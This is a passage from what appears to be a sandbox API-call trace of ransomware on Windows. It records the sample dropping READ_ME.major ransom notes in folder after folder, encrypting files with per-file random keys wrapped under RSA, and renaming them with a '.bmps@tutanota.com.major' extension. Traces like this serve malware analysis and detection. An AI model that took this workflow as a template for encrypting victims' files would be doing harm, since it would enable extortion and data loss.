lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.085] CloseHandle (hObject=0x1870) returned 1 [0228.085] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d1109, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24f7384, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Input_{ecd52277-de32-43d5-8c62-58de1116f72e}", cAlternateFileName="INPUT_~1")) returned 1 [0228.085] SetLastError (dwErrCode=0x0) [0228.085] GetLastError () returned 0x0 [0228.085] SetLastError (dwErrCode=0x0) [0228.085] SetLastError (dwErrCode=0x0) [0228.086] SetLastError (dwErrCode=0x0) [0228.086] GetLastError () returned 0x0 [0228.086] SetLastError (dwErrCode=0x0) [0228.086] GetLastError () returned 0x0 [0228.086] SetLastError (dwErrCode=0x0) [0228.086] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.088] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.089] CloseHandle (hObject=0x1870) returned 1 [0228.090] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b818d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b818d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] GetLastError () returned 0x0 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] GetLastError () returned 0x0 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525872ee, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings_{26159dcd-00b6-4881-a91c-092cd378d482}", cAlternateFileName="SETTIN~1")) returned 1 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] GetLastError () returned 0x0 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] SetLastError (dwErrCode=0x0) [0228.090] SetLastError (dwErrCode=0x0) [0228.090] GetLastError () returned 0x0 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] GetLastError () returned 0x0 [0228.090] SetLastError (dwErrCode=0x0) [0228.090] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.105] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.106] CloseHandle (hObject=0x1870) returned 1 [0228.109] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}", cAlternateFileName="SETTIN~2")) returned 1 [0228.109] SetLastError (dwErrCode=0x0) [0228.109] GetLastError () returned 0x0 [0228.110] SetLastError (dwErrCode=0x0) [0228.110] SetLastError (dwErrCode=0x0) [0228.110] SetLastError (dwErrCode=0x0) [0228.110] GetLastError () returned 0x0 [0228.110] SetLastError (dwErrCode=0x0) [0228.110] GetLastError () returned 0x0 [0228.110] SetLastError (dwErrCode=0x0) [0228.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.122] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.123] CloseHandle (hObject=0x1870) returned 1 [0228.123] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}", cAlternateFileName="SETTIN~2")) returned 0 [0228.123] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42f8885, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x520331de, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f328a0 [0228.125] SetLastError (dwErrCode=0x12) [0228.125] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] FindNextFileW (in: hFindFile=0x2f328a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42f8885, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x520331de, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] FindNextFileW (in: hFindFile=0x2f328a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19669e8a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x199649f9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x199649f9, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x20e85, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppCache131509115860744759.txt", cAlternateFileName="APPCAC~1.TXT")) returned 1 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] FindNextFileW (in: hFindFile=0x2f328a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b818d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b818d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.126] SetLastError (dwErrCode=0x12) [0228.126] GetLastError () returned 0x12 [0228.127] SetLastError (dwErrCode=0x12) [0228.127] GetLastError () returned 0x12 [0228.127] SetLastError (dwErrCode=0x12) [0228.127] FindNextFileW (in: hFindFile=0x2f328a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58188604, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x771b8f20, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x771b8f20, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x538f2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SettingsCache.txt", cAlternateFileName="SETTIN~1.TXT")) returned 1 [0228.127] SetLastError (dwErrCode=0x12) [0228.127] GetLastError () returned 0x12 [0228.127] SetLastError (dwErrCode=0x12) [0228.127] GetLastError () returned 0x12 [0228.127] SetLastError (dwErrCode=0x12) [0228.127] FindNextFileW (in: hFindFile=0x2f328a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58188604, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x771b8f20, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x771b8f20, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x538f2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SettingsCache.txt", cAlternateFileName="SETTIN~1.TXT")) returned 0 [0228.127] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.127] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\SettingsCache.txt", dwFileAttributes=0x80) returned 1 [0228.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\SettingsCache.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\settingscache.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1874 [0228.129] GetFileSizeEx (in: hFile=0x1874, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=342258) returned 1 [0228.129] ReadFile (in: hFile=0x1874, lpBuffer=0x3351010, nNumberOfBytesToRead=0x538f2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x538f2, lpOverlapped=0x0) returned 1 [0228.140] SetFilePointer (in: hFile=0x1874, lDistanceToMove=-342258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.140] WriteFile (in: hFile=0x1874, lpBuffer=0x33a4910*, nNumberOfBytesToWrite=0x538f2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33a4910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x538f2, lpOverlapped=0x0) returned 1 [0228.141] SetFilePointer (in: hFile=0x1874, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x538f2 [0228.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.142] WriteFile (in: hFile=0x1874, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UXDeVuxlAQ9IGWli9ucTx5erndm6/g3PoxAVx4aJ2pSKXHaf7XRYRPxdlO8iYJu6\naPv4U6Is1gtto9lC7FaV7K6u1uRfNBRlqQZSi9REanUQaHgtMmRhBVUDrLTM0Z7t\nZCChl7BH/eZrRN3O9ZBxdC2Nl6tOUiraDpDn5NoA0Pp5mbVT5U7BqAh0+C/W9Fm7\nrEdg09W/rQEfR6nQ6NmyZs4H9MItOfbTgHWhhcASOVdTISkjxcw8Ng9uW7z/+ujD\n4qPB2z8lJIosU/4OzP46uV+82PZQdEVUcdOdCm2STB8pEVu4+qK/XVqabLd7851e\nqQkrcG5QOzf9txg8nI3+qA==\n", pcchString=0x2e3f9a8) returned 1 [0228.142] WriteFile (in: hFile=0x1874, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.143] WriteFile (in: hFile=0x1874, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.143] CloseHandle (hObject=0x1874) returned 1 [0228.143] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\SettingsCache.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\settingscache.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\SettingsCache.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\settingscache.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.267] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.267] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\AppCache131509115860744759.txt", dwFileAttributes=0x80) returned 1 [0228.268] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\AppCache131509115860744759.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\appcache131509115860744759.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1874 [0228.268] GetFileSizeEx (in: hFile=0x1874, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=134789) returned 1 [0228.269] ReadFile (in: hFile=0x1874, lpBuffer=0x3351010, nNumberOfBytesToRead=0x20e85, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x20e85, lpOverlapped=0x0) returned 1 [0228.273] SetFilePointer (in: hFile=0x1874, lDistanceToMove=-134789, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.274] WriteFile (in: hFile=0x1874, lpBuffer=0x3371ea0*, nNumberOfBytesToWrite=0x20e85, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3371ea0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20e85, lpOverlapped=0x0) returned 1 [0228.274] SetFilePointer (in: hFile=0x1874, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20e85 [0228.274] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.274] WriteFile (in: hFile=0x1874, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.275] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.275] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mnLCN1+jLSp5ahMs6wcP0N3w8oKuiLmLcatgf3/9jtJsW2PIjME7V6MuCCa7RuxI\ni2C+i10Zvd6Ufiyqwc8dMi2nAHb52xP9oB/hzRfjBG1fv5nDHY6arlPOU1dmRRO8\nQwa/aHgRctOIVyo1O9XSssT4swCTDysMgw3lTnVYm1cZZfk1L15AOmPU2QuivpSF\ngYyLGSPTKGiK8qTeTImMZejiRFgx32BLRzm67EJoAQ/TTKkkJYE8weuUt5j6rja3\nT20SFTmYQrqvIy+jJKo+AEBziyCi5wLNIRlAN/+aiWGpc1eNQHWa+sI1pAlPVIpq\n9K+TEHMkcAnng+tjOLv8IQ==\n", pcchString=0x2e3f9a8) returned 1 [0228.275] WriteFile (in: hFile=0x1874, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.275] WriteFile (in: hFile=0x1874, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.275] CloseHandle (hObject=0x1874) returned 1 [0228.276] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\AppCache131509115860744759.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\appcache131509115860744759.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\AppCache131509115860744759.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\appcache131509115860744759.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.279] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\Flighting\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1edc172b, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32920 [0228.279] SetLastError (dwErrCode=0x0) [0228.279] GetLastError () returned 0x0 [0228.279] SetLastError (dwErrCode=0x0) [0228.280] GetLastError () returned 0x0 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] FindNextFileW (in: hFindFile=0x2f32920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1edc172b, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] GetLastError () returned 0x0 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] GetLastError () returned 0x0 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] FindNextFileW (in: hFindFile=0x2f32920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b818d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b818d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] GetLastError () returned 0x0 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] GetLastError () returned 0x0 [0228.280] SetLastError (dwErrCode=0x0) [0228.280] FindNextFileW (in: hFindFile=0x2f32920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b818d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b818d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.280] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c1a406, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32960 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] GetLastError () returned 0x12 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] GetLastError () returned 0x12 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] FindNextFileW (in: hFindFile=0x2f32960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c1a406, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.281] SetLastError 